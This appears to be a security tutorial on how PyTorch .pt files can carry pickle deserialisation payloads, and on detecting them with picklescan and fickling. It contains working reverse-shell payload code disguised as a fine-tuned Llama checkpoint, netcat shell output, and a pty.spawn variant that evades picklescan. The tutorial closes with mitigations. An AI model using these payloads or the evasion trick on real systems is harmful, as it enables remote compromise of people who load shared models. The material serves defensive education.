Weaponised Models: Pickle Deserialisation in PyTorch

Model hubs such as Hugging Face host hundreds of thousands of pre-trained and fine-tuned models uploaded by the community. Researchers and developers routinely download these .pt files and load them into their pipelines with little scrutiny. The implicit trust is that a model file contains weights and nothing more.

In practice, a malicious actor could upload a backdoored model to a public hub, name it after a popular architecture or fine-tune, and wait for downloads. Anywhere model files changes hands is a potential vector.

Pickle is the Python programming languages native serialisation format. It can be used to store a set of instructions known as opcodes which provide instructions for rebuilding serialised objects.

A PyTorch model file is a serialized (pickle) data file used to save the state of a trained artificial neural network from the PyTorch deep learning framework.

Being serialised objects, it stands to reason they are vulnerable to deserilisation attacks where by code is automatically executed during the deserialisation process. We can use this to execute code when a model loads.


Pickle __reduce__ Deserilisation

To understand the vulnerability, we first need to understand __reduce__. This is a Python special method that tells pickle how to reconstruct an object during deserialisation. When pickle encounters an object it doesn’t know how to serialise natively, it calls __reduce__, which returns a tuple containing a callable and its arguments. During unpickling, pickle calls that function with those arguments to recreate the object.

The intended use is legitimate. For example, a class representing a database connection might use __reduce__ to reconnect when deserialised:

class DatabaseConnection:
    def __init__(self, host, port):
        self.host = host
        self.port = port
        self.conn = connect(host, port)

    def __reduce__(self):
        return (DatabaseConnection, ("db.example.com", 5432))

The security problem is that the callable can be any callable — os.system, subprocess.Popen, exec, or anything else in the Python standard library. Pickle does not distinguish between “reconstruct an object” and “run arbitrary code.” It blindly calls whatever function reduce returns.

The below code shows how to generate a malicious .pt file that exploits this behaviour to execute a reverse shell when loaded.

import torch
import pickle
import os

# --- Malicious model creation ---

class MaliciousPayload:
    """
    When pickle deserializes this object, it calls __reduce__,
    which returns a callable + args that pickle executes to
    reconstruct the object. We abuse this to run arbitrary code.
    """
    def __reduce__(self):
        # os.system() gets called with this argument during unpickling
        cmd = "bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'"
        return (os.system, (cmd,))


# Build a legitimate-looking model dict with the payload injected
legitimate_model = {
    "model_state_dict": {"layer1.weight": torch.randn(768, 768)},
    "optimizer_state_dict": {},
    "epoch": 10,
    "loss": 0.001,
    # The payload hides among normal checkpoint keys
    "metadata": MaliciousPayload()
}

# Save — this produces a normal-looking .pt file
torch.save(legitimate_model, "llama-2-7b-finetuned.pt")                                                                                                                                                                     
                           

The malicious model would then need to be copied to the target system and loaded.

import torch

# This is all it takes — the reverse shell fires during this call
checkpoint = torch.load("llama-2-7b-finetuned.pt", weights_only=False)

# Everything below this line runs AFTER the shell has already spawned.
# The victim sees normal model-loading code and suspects nothing.
print(f"Loaded model at epoch {checkpoint['epoch']}, loss: {checkpoint['loss']}")
model.load_state_dict(checkpoint["model_state_dict"])

When the pickle import script is ran, we get a reverse shell on the target system.

rlwrap nc -lvp 4444
Listening on 0.0.0.0 4444
nc: getnameinfo: Temporary failure in name resolution
┌──(kali㉿kali)-[~]
└─$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),104(bluetooth),113(lpadmin),122(wireshark),123(kaboxer),124(vboxsf),125(docker)

The payload executes during load, not when the model is used. There is no opportunity to inspect the data first. The malicious object can be buried alongside legitimate tensors, making manual inspection difficult.


Detection with Picklescan

Picklescan is a security scanner developed to detect malicious pickle files. It is used by Hugging Face to scan model uploads. It can be installed and run against a model file as follows:

┌──(kali㉿kali)-[~]
└─$ picklescan -p llama-2-7b-finetuned.pt
/home/kali/llama-2-7b-finetuned.pt:llama-2-7b-finetuned/data.pkl: dangerous import 'posix system' FOUND
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 1
Dangerous globals: 1

Picklescan identifies the os.system (exposed as posix.system on Linux) call and flags the file as dangerous. Hugging Face runs this scan on all uploaded models, and flagged files display a warning to users before download.

However, picklescan is signature-based. It maintains a list of known dangerous globals and checks for their presence. This means it can be evaded. An attacker could use builtins.eval or builtins.exec with obfuscated strings, import lesser-known modules that provide code execution, or use nested pickle opcodes to construct the dangerous call indirectly. Picklescan is a useful speed bump, but it should not be treated as a definitive safety gate.


Picklescan Evasion

Picklescan works by maintaining a blocklist of known dangerous modules and functions. When it encounters a GLOBAL opcode referencing a blocked import such as os.system or builtins.exec, it flags the file as dangerous. However, any callable not on the blocklist passes undetected.

The Python standard library’s pty module provides pty.spawn, which executes arbitrary commands via a pseudo-terminal. This module is not on picklescan’s blocklist:

import torch
import pty

# --- Malicious model creation (picklescan bypass) ---
# pty module is not on picklescan's blocklist, but pty.spawn
# executes arbitrary commands via a pseudo-terminal.

class MaliciousPayload:
    def __reduce__(self):
        return (pty.spawn, (["/bin/bash", "-c",
            "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"],))
 
# Build a legitimate-looking model dict with the payload injected
legitimate_model = {
    "model_state_dict": {"layer1.weight": torch.randn(768, 768)},
    "optimizer_state_dict": {},
    "epoch": 10,
    "loss": 0.001,
    # The payload hides among normal checkpoint keys
    "metadata": MaliciousPayload()
}
 
# Save — this produces a normal-looking .pt file
torch.save(legitimate_model, "llama-2-7b-finetuned.pt")  

Running picklescan against this model returns a clean result:

----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Dangerous globals: 0

The payload executes identically to the original. A reverse shell is spawned when the model is loaded but picklescan reports no issues. This demonstrates the fundamental limitation of signature-based scanning: an adversary only needs to find one callable that isn’t on the list.

The Python standard library contains numerous modules capable of command execution (pty, ctypes, multiprocessing, among others) and maintaining an exhaustive blocklist is an ongoing arms race.


Static Analysis with Fickling

For deeper inspection, Trail of Bits developed fickling, a tool that can decompile pickle files back into readable Python. Rather than scanning for known-bad signatures, fickling reconstructs the full logic the pickle file will execute during deserialisation.

┌──(kali㉿kali)-[~/PICKLE]
└─$ unzip llama-2-7b-finetuned.pt -d extracted_model
Archive:  llama-2-7b-finetuned.pt
 extracting: extracted_model/llama-2-7b-finetuned/data.pkl  
 extracting: extracted_model/llama-2-7b-finetuned/.format_version  
 extracting: extracted_model/llama-2-7b-finetuned/.storage_alignment  
 extracting: extracted_model/llama-2-7b-finetuned/byteorder  
 extracting: extracted_model/llama-2-7b-finetuned/data/0  
 extracting: extracted_model/llama-2-7b-finetuned/version  
 extracting: extracted_model/llama-2-7b-finetuned/.data/serialization_id  
┌──(kali㉿kali)-[~/PICKLE]
└─$ .venv/bin/fickling extracted_model/llama-2-7b-finetuned/data.pkl 
from torch._utils import _rebuild_tensor_v2
from torch import FloatStorage
from collections import OrderedDict
_var0 = OrderedDict()
_var1 = _rebuild_tensor_v2(UNPICKLER.persistent_load(('storage', FloatStorage, '0', 'cpu', 589824)), 0, (768, 768), (768, 1), False, _var0)
from posix import system
_var2 = system("bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'")
result0 = {'model_state_dict': {'layer1.weight': _var1}, 'optimizer_state_dict': {}, 'epoch': 10, 'loss': 0.001, 'metadata': _var2}


In Conclusion

There are a couple of ways to mitigate this behaviour.

ince version 2.6, PyTorch defaults torch.load() to weights_only=True, which restricts deserialisation to tensor data and rejects arbitrary Python objects. This blocks both payloads demonstrated above. However, the protection is easily circumvented. When loading fails, PyTorch’s own error message instructs the user to set weights_only=False.

Many legitimate models containing custom classes, optimisers, or configuration objects genuinely require this flag to be disabled. Additionally, code written before PyTorch 2.6 calls torch.load() without the parameter, defaulting to the unsafe behaviour on older versions.

# Safe — rejects arbitrary code execution
checkpoint = torch.load("model.pt", weights_only=True)

# Unsafe — permits deserialisation of arbitrary objects
checkpoint = torch.load("model.pt", weights_only=False)

In addition, Hugging Face developed the SafeTensors format to prevent this type of attack. SafeTensor’s only store raw data in a binary format, and therefore cannot execute arbitrary code in this manner.

It should be noted that even SafeTensors files are not entirely beyond manipulation. An adversary could alter model weight values to produce subtly malicious outputs for example, biasing a content moderation model to permit harmful content, or introducing a backdoor trigger that causes targeted misclassification. This is a model integrity issue rather than a code execution vulnerability, but it is worth considering in a threat model.